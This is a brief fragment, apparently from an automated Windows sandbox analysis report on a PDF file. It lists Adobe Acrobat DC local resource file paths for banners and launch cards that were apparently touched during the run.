C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Windows Analysis Report
gj2tWCRpMS.pdf